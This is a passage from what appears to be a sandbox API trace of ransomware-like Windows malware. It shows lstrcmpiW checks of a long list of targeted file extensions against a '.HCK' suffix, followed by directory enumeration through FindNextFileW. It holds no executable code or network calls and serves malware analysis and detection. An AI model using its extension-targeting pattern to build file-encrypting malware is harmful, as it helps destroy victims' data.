(lpString1=".avs", lpString2=".HCK") returned -1 [0245.452] lstrlenW (lpString=".backup") returned 7 [0245.452] lstrcmpiW (lpString1=".backup", lpString2="io].HCK") returned -1 [0245.452] lstrlenW (lpString=".bak") returned 4 [0245.453] lstrcmpiW (lpString1=".bak", lpString2=".HCK") returned -1 [0245.453] lstrlenW (lpString=".bay") returned 4 [0245.453] lstrcmpiW (lpString1=".bay", lpString2=".HCK") returned -1 [0245.453] lstrlenW (lpString=".bd") returned 3 [0245.453] lstrcmpiW (lpString1=".bd", lpString2="HCK") returned -1 [0245.453] lstrlenW (lpString=".bin") returned 4 [0245.453] lstrcmpiW (lpString1=".bin", lpString2=".HCK") returned -1 [0245.453] lstrlenW (lpString=".bmp") returned 4 [0245.453] lstrcmpiW (lpString1=".bmp", lpString2=".HCK") returned -1 [0245.453] lstrlenW (lpString=".bz2") returned 4 [0245.453] lstrcmpiW (lpString1=".bz2", lpString2=".HCK") returned -1 [0245.453] lstrlenW (lpString=".c") returned 2 [0245.453] lstrcmpiW (lpString1=".c", lpString2="CK") returned -1 [0245.453] lstrlenW (lpString=".cdr") returned 4 [0245.453] lstrcmpiW (lpString1=".cdr", lpString2=".HCK") returned -1 [0245.453] lstrlenW (lpString=".cer") returned 4 [0245.453] lstrcmpiW (lpString1=".cer", lpString2=".HCK") returned -1 [0245.453] lstrlenW (lpString=".cf") returned 3 [0245.453] lstrcmpiW (lpString1=".cf", lpString2="HCK") returned -1 [0245.453] lstrlenW (lpString=".cfc") returned 4 [0245.453] lstrcmpiW (lpString1=".cfc", lpString2=".HCK") returned -1 [0245.453] lstrlenW (lpString=".cfm") returned 4 [0245.453] lstrcmpiW (lpString1=".cfm", lpString2=".HCK") returned -1 [0245.453] lstrlenW (lpString=".cfml") returned 5 [0245.453] lstrcmpiW (lpString1=".cfml", lpString2="].HCK") returned -1 [0245.453] lstrlenW (lpString=".cfu") returned 4 [0245.453] lstrcmpiW (lpString1=".cfu", lpString2=".HCK") returned -1 [0245.453] lstrlenW (lpString=".chm") returned 4 [0245.453] lstrcmpiW (lpString1=".chm", lpString2=".HCK") returned -1 [0245.453] lstrlenW (lpString=".cin") returned 4 [0245.453] lstrcmpiW (lpString1=".cin", lpString2=".HCK") returned -1 [0245.453] lstrlenW (lpString=".class") returned 6 [0245.453] lstrcmpiW (lpString1=".class", lpString2="o].HCK") returned -1 [0245.453] lstrlenW (lpString=".clx") returned 4 [0245.453] lstrcmpiW (lpString1=".clx", lpString2=".HCK") returned -1 [0245.453] lstrlenW (lpString=".config") returned 7 [0245.453] lstrcmpiW (lpString1=".config", lpString2="io].HCK") returned -1 [0245.453] lstrlenW (lpString=".cpp") returned 4 [0245.453] lstrcmpiW (lpString1=".cpp", lpString2=".HCK") returned -1 [0245.453] lstrlenW (lpString=".cr2") returned 4 [0245.453] lstrcmpiW (lpString1=".cr2", lpString2=".HCK") returned -1 [0245.453] lstrlenW (lpString=".crt") returned 4 [0245.453] lstrcmpiW (lpString1=".crt", lpString2=".HCK") returned -1 [0245.453] lstrlenW (lpString=".crw") returned 4 [0245.453] lstrcmpiW (lpString1=".crw", lpString2=".HCK") returned -1 [0245.453] lstrlenW (lpString=".cs") returned 3 [0245.453] lstrcmpiW (lpString1=".cs", lpString2="HCK") returned -1 [0245.453] lstrlenW (lpString=".css") returned 4 [0245.453] lstrcmpiW (lpString1=".css", lpString2=".HCK") returned -1 [0245.453] lstrlenW (lpString=".csv") returned 4 [0245.453] lstrcmpiW (lpString1=".csv", lpString2=".HCK") returned -1 [0245.453] lstrlenW (lpString=".cub") returned 4 [0245.453] lstrcmpiW (lpString1=".cub", lpString2=".HCK") returned -1 [0245.453] lstrlenW (lpString=".dae") returned 4 [0245.453] lstrcmpiW (lpString1=".dae", lpString2=".HCK") returned -1 [0245.454] lstrlenW (lpString=".dat") returned 4 [0245.454] lstrcmpiW (lpString1=".dat", lpString2=".HCK") returned -1 [0245.454] lstrlenW (lpString=".db") returned 3 [0245.454] lstrcmpiW (lpString1=".db", lpString2="HCK") returned -1 [0245.454] lstrlenW (lpString=".dbf") returned 4 [0245.454] lstrcmpiW (lpString1=".dbf", lpString2=".HCK") returned -1 [0245.454] lstrlenW (lpString=".dbx") returned 4 [0245.454] lstrcmpiW (lpString1=".dbx", lpString2=".HCK") returned -1 [0245.454] lstrlenW (lpString=".dc3") returned 4 [0245.454] lstrcmpiW (lpString1=".dc3", lpString2=".HCK") returned -1 [0245.454] lstrlenW (lpString=".dcm") returned 4 [0245.454] lstrcmpiW (lpString1=".dcm", lpString2=".HCK") returned -1 [0245.454] lstrlenW (lpString=".dcr") returned 4 [0245.454] lstrcmpiW (lpString1=".dcr", lpString2=".HCK") returned -1 [0245.454] lstrlenW (lpString=".der") returned 4 [0245.454] lstrcmpiW (lpString1=".der", lpString2=".HCK") returned -1 [0245.454] lstrlenW (lpString=".dib") returned 4 [0245.454] lstrcmpiW (lpString1=".dib", lpString2=".HCK") returned -1 [0245.454] lstrlenW (lpString=".dic") returned 4 [0245.454] lstrcmpiW (lpString1=".dic", lpString2=".HCK") returned -1 [0245.454] lstrlenW (lpString=".dif") returned 4 [0245.454] lstrcmpiW (lpString1=".dif", lpString2=".HCK") returned -1 [0245.454] lstrlenW (lpString=".divx") returned 5 [0245.454] lstrcmpiW (lpString1=".divx", lpString2="].HCK") returned -1 [0245.454] lstrlenW (lpString=".djvu") returned 5 [0245.454] lstrcmpiW (lpString1=".djvu", lpString2="].HCK") returned -1 [0245.454] lstrlenW (lpString=".dng") returned 4 [0245.454] lstrcmpiW (lpString1=".dng", lpString2=".HCK") returned -1 [0245.454] lstrlenW (lpString=".doc") returned 4 [0245.454] lstrcmpiW (lpString1=".doc", lpString2=".HCK") returned -1 [0245.454] lstrlenW (lpString=".docm") returned 5 [0245.454] lstrcmpiW (lpString1=".docm", lpString2="].HCK") returned -1 [0245.454] lstrlenW (lpString=".docx") returned 5 [0245.454] lstrcmpiW (lpString1=".docx", lpString2="].HCK") returned -1 [0245.454] lstrlenW (lpString=".dot") returned 4 [0245.454] lstrcmpiW (lpString1=".dot", lpString2=".HCK") returned -1 [0245.454] lstrlenW (lpString=".dotm") returned 5 [0245.454] lstrcmpiW (lpString1=".dotm", lpString2="].HCK") returned -1 [0245.454] lstrlenW (lpString=".dotx") returned 5 [0245.454] lstrcmpiW (lpString1=".dotx", lpString2="].HCK") returned -1 [0245.454] lstrlenW (lpString=".dpx") returned 4 [0245.454] lstrcmpiW (lpString1=".dpx", lpString2=".HCK") returned -1 [0245.454] lstrlenW (lpString=".dqy") returned 4 [0245.454] lstrcmpiW (lpString1=".dqy", lpString2=".HCK") returned -1 [0245.454] lstrlenW (lpString=".dsn") returned 4 [0245.454] lstrcmpiW (lpString1=".dsn", lpString2=".HCK") returned -1 [0245.454] lstrlenW (lpString=".dt") returned 3 [0245.454] lstrcmpiW (lpString1=".dt", lpString2="HCK") returned -1 [0245.454] lstrlenW (lpString=".dtd") returned 4 [0245.454] lstrcmpiW (lpString1=".dtd", lpString2=".HCK") returned -1 [0245.454] lstrlenW (lpString=".dwg") returned 4 [0245.454] lstrcmpiW (lpString1=".dwg", lpString2=".HCK") returned -1 [0245.454] lstrlenW (lpString=".dwt") returned 4 [0245.454] lstrcmpiW (lpString1=".dwt", lpString2=".HCK") returned -1 [0245.454] lstrlenW (lpString=".dx") returned 3 [0245.454] lstrcmpiW (lpString1=".dx", lpString2="HCK") returned -1 [0245.455] lstrlenW (lpString=".dxf") returned 4 [0245.455] lstrcmpiW (lpString1=".dxf", lpString2=".HCK") returned -1 [0245.455] lstrlenW (lpString=".edml") returned 5 [0245.455] lstrcmpiW (lpString1=".edml", lpString2="].HCK") returned -1 [0245.455] lstrlenW (lpString=".efd") returned 4 [0245.455] lstrcmpiW (lpString1=".efd", lpString2=".HCK") returned -1 [0245.455] lstrlenW (lpString=".elf") returned 4 [0245.455] lstrcmpiW (lpString1=".elf", lpString2=".HCK") returned -1 [0245.455] lstrlenW (lpString=".emf") returned 4 [0245.455] lstrcmpiW (lpString1=".emf", lpString2=".HCK") returned -1 [0245.455] lstrlenW (lpString=".emz") returned 4 [0245.455] lstrcmpiW (lpString1=".emz", lpString2=".HCK") returned -1 [0245.455] lstrlenW (lpString=".epf") returned 4 [0245.455] lstrcmpiW (lpString1=".epf", lpString2=".HCK") returned -1 [0245.455] lstrlenW (lpString=".eps") returned 4 [0245.455] lstrcmpiW (lpString1=".eps", lpString2=".HCK") returned -1 [0245.455] lstrlenW (lpString=".epsf") returned 5 [0245.455] lstrcmpiW (lpString1=".epsf", lpString2="].HCK") returned -1 [0245.455] lstrlenW (lpString=".epsp") returned 5 [0245.455] lstrcmpiW (lpString1=".epsp", lpString2="].HCK") returned -1 [0245.455] lstrlenW (lpString=".erf") returned 4 [0245.455] lstrcmpiW (lpString1=".erf", lpString2=".HCK") returned -1 [0245.455] lstrlenW (lpString=".exr") returned 4 [0245.455] lstrcmpiW (lpString1=".exr", lpString2=".HCK") returned -1 [0245.455] lstrlenW (lpString=".f4v") returned 4 [0245.455] lstrcmpiW (lpString1=".f4v", lpString2=".HCK") returned -1 [0245.455] lstrlenW (lpString=".fido") returned 5 [0245.455] lstrcmpiW (lpString1=".fido", lpString2="].HCK") returned -1 [0245.455] lstrlenW (lpString=".flm") returned 4 [0245.455] lstrcmpiW (lpString1=".flm", lpString2=".HCK") returned -1 [0245.455] lstrlenW (lpString=".flv") returned 4 [0245.455] lstrcmpiW (lpString1=".flv", lpString2=".HCK") returned -1 [0245.455] lstrlenW (lpString=".frm") returned 4 [0245.455] lstrcmpiW (lpString1=".frm", lpString2=".HCK") returned -1 [0245.455] lstrlenW (lpString=".fxg") returned 4 [0245.455] lstrcmpiW (lpString1=".fxg", lpString2=".HCK") returned -1 [0245.455] lstrlenW (lpString=".geo") returned 4 [0245.455] lstrcmpiW (lpString1=".geo", lpString2=".HCK") returned -1 [0245.455] lstrlenW (lpString=".gif") returned 4 [0245.455] lstrcmpiW (lpString1=".gif", lpString2=".HCK") returned -1 [0245.455] lstrlenW (lpString=".grs") returned 4 [0245.455] lstrcmpiW (lpString1=".grs", lpString2=".HCK") returned -1 [0245.455] lstrlenW (lpString=".gz") returned 3 [0245.455] lstrcmpiW (lpString1=".gz", lpString2="HCK") returned -1 [0245.455] lstrlenW (lpString=".h") returned 2 [0245.455] lstrcmpiW (lpString1=".h", lpString2="CK") returned -1 [0245.455] lstrlenW (lpString=".hdr") returned 4 [0245.455] lstrcmpiW (lpString1=".hdr", lpString2=".HCK") returned 1 [0245.455] lstrlenW (lpString=".hpp") returned 4 [0245.455] lstrcmpiW (lpString1=".hpp", lpString2=".HCK") returned 1 [0245.455] lstrlenW (lpString=".hta") returned 4 [0245.455] lstrcmpiW (lpString1=".hta", lpString2=".HCK") returned 1 [0245.455] lstrlenW (lpString=".htc") returned 4 [0245.455] lstrcmpiW (lpString1=".htc", lpString2=".HCK") returned 1 [0245.455] lstrlenW (lpString=".htm") returned 4 [0245.456] lstrcmpiW (lpString1=".htm", lpString2=".HCK") returned 1 [0245.456] lstrlenW (lpString=".html") returned 5 [0245.456] lstrcmpiW (lpString1=".html", lpString2="].HCK") returned -1 [0245.456] lstrlenW (lpString=".icb") returned 4 [0245.456] lstrcmpiW (lpString1=".icb", lpString2=".HCK") returned 1 [0245.456] lstrlenW (lpString=".ics") returned 4 [0245.456] lstrcmpiW (lpString1=".ics", lpString2=".HCK") returned 1 [0245.456] lstrlenW (lpString=".iff") returned 4 [0245.456] lstrcmpiW (lpString1=".iff", lpString2=".HCK") returned 1 [0245.456] lstrlenW (lpString=".inc") returned 4 [0245.456] lstrcmpiW (lpString1=".inc", lpString2=".HCK") returned 1 [0245.456] lstrlenW (lpString=".indd") returned 5 [0245.456] lstrcmpiW (lpString1=".indd", lpString2="].HCK") returned -1 [0245.456] lstrlenW (lpString=".ini") returned 4 [0245.456] lstrcmpiW (lpString1=".ini", lpString2=".HCK") returned 1 [0245.456] lstrlenW (lpString=".iqy") returned 4 [0245.456] lstrcmpiW (lpString1=".iqy", lpString2=".HCK") returned 1 [0245.456] lstrlenW (lpString=".j2c") returned 4 [0245.456] lstrcmpiW (lpString1=".j2c", lpString2=".HCK") returned 1 [0245.456] lstrlenW (lpString=".j2k") returned 4 [0245.456] lstrcmpiW (lpString1=".j2k", lpString2=".HCK") returned 1 [0245.456] lstrlenW (lpString=".java") returned 5 [0245.456] lstrcmpiW (lpString1=".java", lpString2="].HCK") returned -1 [0245.456] lstrlenW (lpString=".jp2") returned 4 [0245.456] lstrcmpiW (lpString1=".jp2", lpString2=".HCK") returned 1 [0245.456] lstrlenW (lpString=".jpc") returned 4 [0245.456] lstrcmpiW (lpString1=".jpc", lpString2=".HCK") returned 1 [0245.456] lstrlenW (lpString=".jpe") returned 4 [0245.456] lstrcmpiW (lpString1=".jpe", lpString2=".HCK") returned 1 [0245.456] lstrlenW (lpString=".jpeg") returned 5 [0245.456] lstrcmpiW (lpString1=".jpeg", lpString2="].HCK") returned -1 [0245.456] lstrlenW (lpString=".jpf") returned 4 [0245.456] lstrcmpiW (lpString1=".jpf", lpString2=".HCK") returned 1 [0245.456] lstrlenW (lpString=".jpg") returned 4 [0245.456] lstrcmpiW (lpString1=".jpg", lpString2=".HCK") returned 1 [0245.456] lstrlenW (lpString=".jpx") returned 4 [0245.456] lstrcmpiW (lpString1=".jpx", lpString2=".HCK") returned 1 [0245.456] lstrlenW (lpString=".js") returned 3 [0245.456] lstrcmpiW (lpString1=".js", lpString2="HCK") returned -1 [0245.456] lstrlenW (lpString=".jsf") returned 4 [0245.456] lstrcmpiW (lpString1=".jsf", lpString2=".HCK") returned 1 [0245.456] lstrlenW (lpString=".json") returned 5 [0245.456] lstrcmpiW (lpString1=".json", lpString2="].HCK") returned -1 [0245.456] lstrlenW (lpString=".jsp") returned 4 [0245.456] lstrcmpiW (lpString1=".jsp", lpString2=".HCK") returned 1 [0245.456] lstrlenW (lpString=".kdc") returned 4 [0245.456] lstrcmpiW (lpString1=".kdc", lpString2=".HCK") returned 1 [0245.456] lstrlenW (lpString=".kmz") returned 4 [0245.456] lstrcmpiW (lpString1=".kmz", lpString2=".HCK") returned 1 [0245.456] lstrlenW (lpString=".kwm") returned 4 [0245.456] lstrcmpiW (lpString1=".kwm", lpString2=".HCK") returned 1 [0245.456] lstrlenW (lpString=".lasso") returned 6 [0245.456] lstrcmpiW (lpString1=".lasso", lpString2="o].HCK") returned -1 [0245.456] lstrlenW (lpString=".lbi") returned 4 [0245.456] lstrcmpiW (lpString1=".lbi", lpString2=".HCK") returned 1 [0245.456] lstrlenW (lpString=".lgf") returned 4 [0245.457] lstrcmpiW (lpString1=".lgf", lpString2=".HCK") returned 1 [0245.457] lstrlenW (lpString=".lgp") returned 4 [0245.457] lstrcmpiW (lpString1=".lgp", lpString2=".HCK") returned 1 [0245.457] lstrlenW (lpString=".log") returned 4 [0245.457] lstrcmpiW (lpString1=".log", lpString2=".HCK") returned 1 [0245.457] lstrlenW (lpString=".m1v") returned 4 [0245.457] lstrcmpiW (lpString1=".m1v", lpString2=".HCK") returned 1 [0245.457] lstrlenW (lpString=".m4a") returned 4 [0245.457] lstrcmpiW (lpString1=".m4a", lpString2=".HCK") returned 1 [0245.457] lstrlenW (lpString=".m4v") returned 4 [0245.457] lstrcmpiW (lpString1=".m4v", lpString2=".HCK") returned 1 [0245.457] lstrlenW (lpString=".max") returned 4 [0245.457] lstrcmpiW (lpString1=".max", lpString2=".HCK") returned 1 [0245.457] lstrlenW (lpString=".md") returned 3 [0245.457] lstrcmpiW (lpString1=".md", lpString2="HCK") returned -1 [0245.457] lstrlenW (lpString=".mda") returned 4 [0245.457] lstrcmpiW (lpString1=".mda", lpString2=".HCK") returned 1 [0245.457] lstrlenW (lpString=".mdb") returned 4 [0245.457] lstrcmpiW (lpString1=".mdb", lpString2=".HCK") returned 1 [0245.457] lstrlenW (lpString=".mde") returned 4 [0245.457] lstrcmpiW (lpString1=".mde", lpString2=".HCK") returned 1 [0245.457] lstrlenW (lpString=".mdf") returned 4 [0245.457] lstrcmpiW (lpString1=".mdf", lpString2=".HCK") returned 1 [0245.457] lstrlenW (lpString=".mdw") returned 4 [0245.457] lstrcmpiW (lpString1=".mdw", lpString2=".HCK") returned 1 [0245.457] lstrlenW (lpString=".mef") returned 4 [0245.457] lstrcmpiW (lpString1=".mef", lpString2=".HCK") returned 1 [0245.457] lstrlenW (lpString=".mft") returned 4 [0245.457] lstrcmpiW (lpString1=".mft", lpString2=".HCK") returned 1 [0245.457] lstrlenW (lpString=".mfw") returned 4 [0245.457] lstrcmpiW (lpString1=".mfw", lpString2=".HCK") returned 1 [0245.457] lstrlenW (lpString=".mht") returned 4 [0245.457] lstrcmpiW (lpString1=".mht", lpString2=".HCK") returned 1 [0245.457] lstrlenW (lpString=".mhtml") returned 6 [0245.457] lstrcmpiW (lpString1=".mhtml", lpString2="o].HCK") returned -1 [0245.457] lstrlenW (lpString=".mka") returned 4 [0245.457] lstrcmpiW (lpString1=".mka", lpString2=".HCK") returned 1 [0245.457] lstrlenW (lpString=".mkidx") returned 6 [0245.457] lstrcmpiW (lpString1=".mkidx", lpString2="o].HCK") returned -1 [0245.457] lstrlenW (lpString=".mkv") returned 4 [0245.457] lstrcmpiW (lpString1=".mkv", lpString2=".HCK") returned 1 [0245.457] lstrlenW (lpString=".mos") returned 4 [0245.457] lstrcmpiW (lpString1=".mos", lpString2=".HCK") returned 1 [0245.457] lstrlenW (lpString=".mov") returned 4 [0245.457] lstrcmpiW (lpString1=".mov", lpString2=".HCK") returned 1 [0245.457] lstrlenW (lpString=".mp3") returned 4 [0245.457] lstrcmpiW (lpString1=".mp3", lpString2=".HCK") returned 1 [0245.457] lstrlenW (lpString=".mp4") returned 4 [0245.457] lstrcmpiW (lpString1=".mp4", lpString2=".HCK") returned 1 [0245.457] lstrlenW (lpString=".mpeg") returned 5 [0245.457] lstrcmpiW (lpString1=".mpeg", lpString2="].HCK") returned -1 [0245.457] lstrlenW (lpString=".mpg") returned 4 [0245.457] lstrcmpiW (lpString1=".mpg", lpString2=".HCK") returned 1 [0245.457] lstrlenW (lpString=".mpv") returned 4 [0245.457] lstrcmpiW (lpString1=".mpv", lpString2=".HCK") returned 1 [0245.457] lstrlenW (lpString=".mrw") returned 4 [0245.458] lstrcmpiW (lpString1=".mrw", lpString2=".HCK") returned 1 [0245.458] lstrlenW (lpString=".msg") returned 4 [0245.458] lstrcmpiW (lpString1=".msg", lpString2=".HCK") returned 1 [0245.458] lstrlenW (lpString=".mxl") returned 4 [0245.458] lstrcmpiW (lpString1=".mxl", lpString2=".HCK") returned 1 [0245.458] lstrlenW (lpString=".myd") returned 4 [0245.458] lstrcmpiW (lpString1=".myd", lpString2=".HCK") returned 1 [0245.458] lstrlenW (lpString=".myi") returned 4 [0245.458] lstrcmpiW (lpString1=".myi", lpString2=".HCK") returned 1 [0245.458] lstrlenW (lpString=".nef") returned 4 [0245.458] lstrcmpiW (lpString1=".nef", lpString2=".HCK") returned 1 [0245.458] lstrlenW (lpString=".nrw") returned 4 [0245.458] lstrcmpiW (lpString1=".nrw", lpString2=".HCK") returned 1 [0245.458] lstrlenW (lpString=".obj") returned 4 [0245.458] lstrcmpiW (lpString1=".obj", lpString2=".HCK") returned 1 [0245.458] lstrlenW (lpString=".odb") returned 4 [0245.458] lstrcmpiW (lpString1=".odb", lpString2=".HCK") returned 1 [0245.458] lstrlenW (lpString=".odc") returned 4 [0245.458] lstrcmpiW (lpString1=".odc", lpString2=".HCK") returned 1 [0245.458] lstrlenW (lpString=".odm") returned 4 [0245.458] lstrcmpiW (lpString1=".odm", lpString2=".HCK") returned 1 [0245.458] lstrlenW (lpString=".odp") returned 4 [0245.458] lstrcmpiW (lpString1=".odp", lpString2=".HCK") returned 1 [0245.458] lstrlenW (lpString=".ods") returned 4 [0245.458] lstrcmpiW (lpString1=".ods", lpString2=".HCK") returned 1 [0245.458] lstrlenW (lpString=".oft") returned 4 [0245.458] lstrcmpiW (lpString1=".oft", lpString2=".HCK") returned 1 [0245.458] lstrlenW (lpString=".one") returned 4 [0245.458] lstrcmpiW (lpString1=".one", lpString2=".HCK") returned 1 [0245.458] lstrlenW (lpString=".onepkg") returned 7 [0245.458] lstrcmpiW (lpString1=".onepkg", lpString2="io].HCK") returned -1 [0245.458] lstrlenW (lpString=".onetoc2") returned 8 [0245.458] lstrcmpiW (lpString1=".onetoc2", lpString2=".io].HCK") returned 1 [0245.458] lstrlenW (lpString=".opt") returned 4 [0245.458] lstrcmpiW (lpString1=".opt", lpString2=".HCK") returned 1 [0245.458] lstrlenW (lpString=".oqy") returned 4 [0245.458] lstrcmpiW (lpString1=".oqy", lpString2=".HCK") returned 1 [0245.458] lstrlenW (lpString=".orf") returned 4 [0245.458] lstrcmpiW (lpString1=".orf", lpString2=".HCK") returned 1 [0245.458] lstrlenW (lpString=".p12") returned 4 [0245.458] lstrcmpiW (lpString1=".p12", lpString2=".HCK") returned 1 [0245.458] lstrlenW (lpString=".p7b") returned 4 [0245.458] lstrcmpiW (lpString1=".p7b", lpString2=".HCK") returned 1 [0245.458] lstrlenW (lpString=".p7c") returned 4 [0245.458] lstrcmpiW (lpString1=".p7c", lpString2=".HCK") returned 1 [0245.458] lstrlenW (lpString=".pam") returned 4 [0245.458] lstrcmpiW (lpString1=".pam", lpString2=".HCK") returned 1 [0245.458] lstrlenW (lpString=".pbm") returned 4 [0245.458] lstrcmpiW (lpString1=".pbm", lpString2=".HCK") returned 1 [0245.458] lstrlenW (lpString=".pct") returned 4 [0245.458] lstrcmpiW (lpString1=".pct", lpString2=".HCK") returned 1 [0245.458] lstrlenW (lpString=".pcx") returned 4 [0245.458] lstrcmpiW (lpString1=".pcx", lpString2=".HCK") returned 1 [0245.458] lstrlenW (lpString=".pdd") returned 4 [0245.458] lstrcmpiW (lpString1=".pdd", lpString2=".HCK") returned 1 [0245.458] lstrlenW (lpString=".pdf") returned 4 [0245.459] lstrcmpiW (lpString1=".pdf", lpString2=".HCK") returned 1 [0245.459] lstrlenW (lpString=".pdp") returned 4 [0245.459] lstrcmpiW (lpString1=".pdp", lpString2=".HCK") returned 1 [0245.459] lstrlenW (lpString=".pef") returned 4 [0245.459] lstrcmpiW (lpString1=".pef", lpString2=".HCK") returned 1 [0245.459] lstrlenW (lpString=".pem") returned 4 [0245.459] lstrcmpiW (lpString1=".pem", lpString2=".HCK") returned 1 [0245.459] lstrlenW (lpString=".pff") returned 4 [0245.459] lstrcmpiW (lpString1=".pff", lpString2=".HCK") returned 1 [0245.459] lstrlenW (lpString=".pfm") returned 4 [0245.459] lstrcmpiW (lpString1=".pfm", lpString2=".HCK") returned 1 [0245.459] lstrlenW (lpString=".pfx") returned 4 [0245.459] lstrcmpiW (lpString1=".pfx", lpString2=".HCK") returned 1 [0245.459] lstrlenW (lpString=".pgm") returned 4 [0245.459] lstrcmpiW (lpString1=".pgm", lpString2=".HCK") returned 1 [0245.459] lstrlenW (lpString=".php") returned 4 [0245.459] lstrcmpiW (lpString1=".php", lpString2=".HCK") returned 1 [0245.459] lstrlenW (lpString=".php3") returned 5 [0245.459] lstrcmpiW (lpString1=".php3", lpString2="].HCK") returned -1 [0245.459] lstrlenW (lpString=".php4") returned 5 [0245.459] lstrcmpiW (lpString1=".php4", lpString2="].HCK") returned -1 [0245.459] lstrlenW (lpString=".php5") returned 5 [0245.459] lstrcmpiW (lpString1=".php5", lpString2="].HCK") returned -1 [0245.459] lstrlenW (lpString=".phtml") returned 6 [0245.459] lstrcmpiW (lpString1=".phtml", lpString2="o].HCK") returned -1 [0245.459] lstrlenW (lpString=".pict") returned 5 [0245.459] lstrcmpiW (lpString1=".pict", lpString2="].HCK") returned -1 [0245.459] lstrlenW (lpString=".pl") returned 3 [0245.459] lstrcmpiW (lpString1=".pl", lpString2="HCK") returned -1 [0245.459] lstrlenW (lpString=".pls") returned 4 [0245.459] lstrcmpiW (lpString1=".pls", lpString2=".HCK") returned 1 [0245.459] lstrlenW (lpString=".pm") returned 3 [0245.459] lstrcmpiW (lpString1=".pm", lpString2="HCK") returned -1 [0245.459] lstrlenW (lpString=".png") returned 4 [0245.459] lstrcmpiW (lpString1=".png", lpString2=".HCK") returned 1 [0245.459] lstrlenW (lpString=".pnm") returned 4 [0245.459] lstrcmpiW (lpString1=".pnm", lpString2=".HCK") returned 1 [0245.459] lstrlenW (lpString=".pot") returned 4 [0245.459] lstrcmpiW (lpString1=".pot", lpString2=".HCK") returned 1 [0245.459] lstrlenW (lpString=".potm") returned 5 [0245.459] lstrcmpiW (lpString1=".potm", lpString2="].HCK") returned -1 [0245.459] lstrlenW (lpString=".potx") returned 5 [0245.459] lstrcmpiW (lpString1=".potx", lpString2="].HCK") returned -1 [0245.459] lstrlenW (lpString=".ppa") returned 4 [0245.459] lstrcmpiW (lpString1=".ppa", lpString2=".HCK") returned 1 [0245.459] lstrlenW (lpString=".ppam") returned 5 [0245.459] lstrcmpiW (lpString1=".ppam", lpString2="].HCK") returned -1 [0245.459] lstrlenW (lpString=".ppm") returned 4 [0245.459] lstrcmpiW (lpString1=".ppm", lpString2=".HCK") returned 1 [0245.459] lstrlenW (lpString=".pps") returned 4 [0245.459] lstrcmpiW (lpString1=".pps", lpString2=".HCK") returned 1 [0245.459] lstrlenW (lpString=".ppsm") returned 5 [0245.459] lstrcmpiW (lpString1=".ppsm", lpString2="].HCK") returned -1 [0245.459] lstrlenW (lpString=".ppt") returned 4 [0245.459] lstrcmpiW (lpString1=".ppt", lpString2=".HCK") returned 1 [0245.460] lstrlenW (lpString=".pptm") returned 5 [0245.460] lstrcmpiW (lpString1=".pptm", lpString2="].HCK") returned -1 [0245.460] lstrlenW (lpString=".pptx") returned 5 [0245.460] lstrcmpiW (lpString1=".pptx", lpString2="].HCK") returned -1 [0245.460] lstrlenW (lpString=".prn") returned 4 [0245.460] lstrcmpiW (lpString1=".prn", lpString2=".HCK") returned 1 [0245.460] lstrlenW (lpString=".ps") returned 3 [0245.460] lstrcmpiW (lpString1=".ps", lpString2="HCK") returned -1 [0245.460] lstrlenW (lpString=".psb") returned 4 [0245.460] lstrcmpiW (lpString1=".psb", lpString2=".HCK") returned 1 [0245.460] lstrlenW (lpString=".psd") returned 4 [0245.460] lstrcmpiW (lpString1=".psd", lpString2=".HCK") returned 1 [0245.460] lstrlenW (lpString=".pst") returned 4 [0245.460] lstrcmpiW (lpString1=".pst", lpString2=".HCK") returned 1 [0245.460] lstrlenW (lpString=".ptx") returned 4 [0245.460] lstrcmpiW (lpString1=".ptx", lpString2=".HCK") returned 1 [0245.460] lstrlenW (lpString=".pub") returned 4 [0245.460] lstrcmpiW (lpString1=".pub", lpString2=".HCK") returned 1 [0245.460] lstrlenW (lpString=".pwm") returned 4 [0245.460] lstrcmpiW (lpString1=".pwm", lpString2=".HCK") returned 1 [0245.461] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x39e1020 | out: hHeap=0x520000) returned 1 [0245.461] FindNextFileW (in: hFindFile=0x53a218, lpFindFileData=0x312fa7c | out: lpFindFileData=0x312fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 1 [0245.462] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x39e1020 | out: hHeap=0x520000) returned 1 [0245.462] FindNextFileW (in: hFindFile=0x53a218, lpFindFileData=0x312fa7c | out: lpFindFileData=0x312fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 0 [0245.462] FindClose (in: hFindFile=0x53a218 | out: hFindFile=0x53a218) returned 1 [0245.462] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x39d1018 | out: hHeap=0x520000) returned 1 [0245.463] FindNextFileW (in: hFindFile=0x53a1d8, lpFindFileData=0x312fcf8 | out: lpFindFileData=0x312fcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77000000, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 1 [0245.464] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x39e1020 | out: hHeap=0x520000) returned 1 [0245.464] FindNextFileW (in: hFindFile=0x53a218, lpFindFileData=0x312fa7c | out: lpFindFileData=0x312fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc9591c98, ftLastAccessTime.dwHighDateTime=0x1d64098, 